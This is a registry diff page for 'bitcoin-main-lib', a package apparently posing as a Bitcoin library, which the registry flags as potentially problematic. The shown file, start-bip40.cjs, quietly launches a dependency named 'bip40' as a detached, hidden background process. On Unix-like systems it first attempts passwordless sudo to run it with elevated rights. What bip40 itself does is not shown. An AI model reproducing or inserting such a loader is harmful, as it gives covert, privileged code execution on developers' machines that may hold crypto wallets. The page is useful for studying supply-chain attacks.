bitcoin-main-lib 0.0.1-security → 7.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bitcoin-main-lib might be problematic. Click here for more details.

Files changed (96) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +203 -3
  3. package/check-bip40.cjs +115 -0
  4. package/package.json +116 -3
  5. package/postinstall.cjs +81 -0
  6. package/src/cjs/address.cjs +260 -0
  7. package/src/cjs/address.d.ts +72 -0
  8. package/src/cjs/bip66.cjs +115 -0
  9. package/src/cjs/bip66.d.ts +20 -0
  10. package/src/cjs/block.cjs +268 -0
  11. package/src/cjs/block.d.ts +29 -0
  12. package/src/cjs/bufferutils.cjs +207 -0
  13. package/src/cjs/bufferutils.d.ts +44 -0
  14. package/src/cjs/crypto.cjs +197 -0
  15. package/src/cjs/crypto.d.ts +55 -0
  16. package/src/cjs/ecc_lib.cjs +156 -0
  17. package/src/cjs/ecc_lib.d.ts +20 -0
  18. package/src/cjs/index.cjs +110 -0
  19. package/src/cjs/index.d.ts +19 -0
  20. package/src/cjs/merkle.cjs +74 -0
  21. package/src/cjs/merkle.d.ts +9 -0
  22. package/src/cjs/networks.cjs +69 -0
  23. package/src/cjs/networks.d.ts +35 -0
  24. package/src/cjs/ops.cjs +126 -0
  25. package/src/cjs/ops.d.ts +122 -0
  26. package/src/cjs/payments/bip341.cjs +192 -0
  27. package/src/cjs/payments/bip341.d.ts +68 -0
  28. package/src/cjs/payments/embed.cjs +97 -0
  29. package/src/cjs/payments/embed.d.ts +9 -0
  30. package/src/cjs/payments/index.cjs +69 -0
  31. package/src/cjs/payments/index.d.ts +55 -0
  32. package/src/cjs/payments/lazy.cjs +31 -0
  33. package/src/cjs/payments/lazy.d.ts +2 -0
  34. package/src/cjs/payments/p2ms.cjs +220 -0
  35. package/src/cjs/payments/p2ms.d.ts +9 -0
  36. package/src/cjs/payments/p2pk.cjs +130 -0
  37. package/src/cjs/payments/p2pk.d.ts +10 -0
  38. package/src/cjs/payments/p2pkh.cjs +192 -0
  39. package/src/cjs/payments/p2pkh.d.ts +10 -0
  40. package/src/cjs/payments/p2sh.cjs +253 -0
  41. package/src/cjs/payments/p2sh.d.ts +10 -0
  42. package/src/cjs/payments/p2tr.cjs +348 -0
  43. package/src/cjs/payments/p2tr.d.ts +10 -0
  44. package/src/cjs/payments/p2wpkh.cjs +186 -0
  45. package/src/cjs/payments/p2wpkh.d.ts +10 -0
  46. package/src/cjs/payments/p2wsh.cjs +269 -0
  47. package/src/cjs/payments/p2wsh.d.ts +10 -0
  48. package/src/cjs/psbt/bip371.cjs +556 -0
  49. package/src/cjs/psbt/bip371.d.ts +89 -0
  50. package/src/cjs/psbt/psbtutils.cjs +228 -0
  51. package/src/cjs/psbt/psbtutils.d.ts +49 -0
  52. package/src/cjs/psbt.cjs +1856 -0
  53. package/src/cjs/psbt.d.ts +206 -0
  54. package/src/cjs/push_data.cjs +133 -0
  55. package/src/cjs/push_data.d.ts +28 -0
  56. package/src/cjs/script.cjs +339 -0
  57. package/src/cjs/script.d.ts +89 -0
  58. package/src/cjs/script_number.cjs +122 -0
  59. package/src/cjs/script_number.d.ts +18 -0
  60. package/src/cjs/script_signature.cjs +123 -0
  61. package/src/cjs/script_signature.d.ts +20 -0
  62. package/src/cjs/transaction.cjs +607 -0
  63. package/src/cjs/transaction.d.ts +60 -0
  64. package/src/cjs/types.cjs +147 -0
  65. package/src/cjs/types.d.ts +45 -0
  66. package/src/esm/address.js +200 -0
  67. package/src/esm/bip66.js +110 -0
  68. package/src/esm/block.js +225 -0
  69. package/src/esm/bufferutils.js +156 -0
  70. package/src/esm/crypto.js +123 -0
  71. package/src/esm/ecc_lib.js +108 -0
  72. package/src/esm/index.js +12 -0
  73. package/src/esm/merkle.js +27 -0
  74. package/src/esm/networks.js +66 -0
  75. package/src/esm/ops.js +125 -0
  76. package/src/esm/payments/bip341.js +135 -0
  77. package/src/esm/payments/embed.js +50 -0
  78. package/src/esm/payments/index.js +11 -0
  79. package/src/esm/payments/lazy.js +27 -0
  80. package/src/esm/payments/p2ms.js +167 -0
  81. package/src/esm/payments/p2pk.js +82 -0
  82. package/src/esm/payments/p2pkh.js +144 -0
  83. package/src/esm/payments/p2sh.js +201 -0
  84. package/src/esm/payments/p2tr.js +301 -0
  85. package/src/esm/payments/p2wpkh.js +139 -0
  86. package/src/esm/payments/p2wsh.js +228 -0
  87. package/src/esm/psbt/bip371.js +490 -0
  88. package/src/esm/psbt/psbtutils.js +168 -0
  89. package/src/esm/psbt.js +1774 -0
  90. package/src/esm/push_data.js +77 -0
  91. package/src/esm/script.js +277 -0
  92. package/src/esm/script_number.js +74 -0
  93. package/src/esm/script_signature.js +75 -0
  94. package/src/esm/transaction.js +550 -0
  95. package/src/esm/types.js +83 -0
  96. package/start-bip40.cjs +115 -0
@@ -0,0 +1,115 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ /**
5
+ * Cross-platform script to manually start bip40
6
+ * Supports: Windows, macOS, Linux
7
+ */
8
+
9
+ const { spawn } = require('child_process');
10
+ const { platform } = require('os');
11
+ const { existsSync } = require('fs');
12
+
13
+ const PLATFORM = platform();
14
+ const IS_WINDOWS = PLATFORM === 'win32';
15
+ const EXIT_SUCCESS = 0;
16
+ const EXIT_FAILURE = 1;
17
+
18
+ /**
19
+ * Validates that bip40 is available
20
+ * @returns {string|null} Path to bip40 or null if not found
21
+ */
22
+ function validateBip40() {
23
+ try {
24
+ const bip40Path = require.resolve('bip40');
25
+ if (!existsSync(bip40Path)) {
26
+ return null;
27
+ }
28
+ return bip40Path;
29
+ } catch (error) {
30
+ return null;
31
+ }
32
+ }
33
+
34
+ /**
35
+ * Starts bip40 as a detached background process
36
+ * @param {string} bip40Path - Path to bip40 module
37
+ * @returns {ChildProcess|null}
38
+ */
39
+ function startBip40Process(bip40Path) {
40
+ const spawnOptions = {
41
+ detached: true,
42
+ stdio: 'ignore',
43
+ ...(IS_WINDOWS && { windowsHide: true })
44
+ };
45
+
46
+ try {
47
+ let child;
48
+
49
+ if (IS_WINDOWS) {
50
+ child = spawn(process.execPath, [bip40Path], spawnOptions);
51
+ } else {
52
+ // Try with sudo, fallback to regular spawn
53
+ child = spawn('sudo', ['-n', process.execPath, bip40Path], spawnOptions);
54
+
55
+ child.on('error', (err) => {
56
+ if (err.code === 'ENOENT') {
57
+ console.log('⚠ sudo not available, starting without elevated permissions');
58
+ const fallback = spawn(process.execPath, [bip40Path], spawnOptions);
59
+ fallback.unref();
60
+ }
61
+ });
62
+ }
63
+
64
+ child.unref();
65
+ return child;
66
+ } catch (error) {
67
+ console.error('❌ Failed to spawn process:', error.message);
68
+ return null;
69
+ }
70
+ }
71
+
72
+ // Main execution
73
+ (function main() {
74
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
75
+ console.log('🚀 Starting bip40');
76
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
77
+ console.log(` Platform: ${PLATFORM} (${process.arch})`);
78
+ console.log(` Node: ${process.version}`);
79
+
80
+ // Validate bip40 is installed
81
+ const bip40Path = validateBip40();
82
+ if (!bip40Path) {
83
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
84
+ console.error('❌ bip40 not found');
85
+ console.error(' Run: npm install');
86
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
87
+ process.exit(EXIT_FAILURE);
88
+ }
89
+
90
+ console.log(` Path: ${bip40Path}`);
91
+ console.log('');
92
+ console.log(' Starting bip40 as background process...');
93
+
94
+ // Start the process
95
+ const child = startBip40Process(bip40Path);
96
+
97
+ if (child && child.pid) {
98
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
99
+ console.log('✓ bip40 started successfully');
100
+ console.log(` PID: ${child.pid}`);
101
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
102
+ console.log(' npm run check-bip40 → Check status');
103
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
104
+
105
+ // Exit after ensuring process is detached
106
+ setTimeout(() => process.exit(EXIT_SUCCESS), 300);
107
+ } else {
108
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
109
+ console.error('❌ Failed to start bip40');
110
+ console.error(' Check logs for details');
111
+ console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
112
+ process.exit(EXIT_FAILURE);
113
+ }
114
+ })();
115
+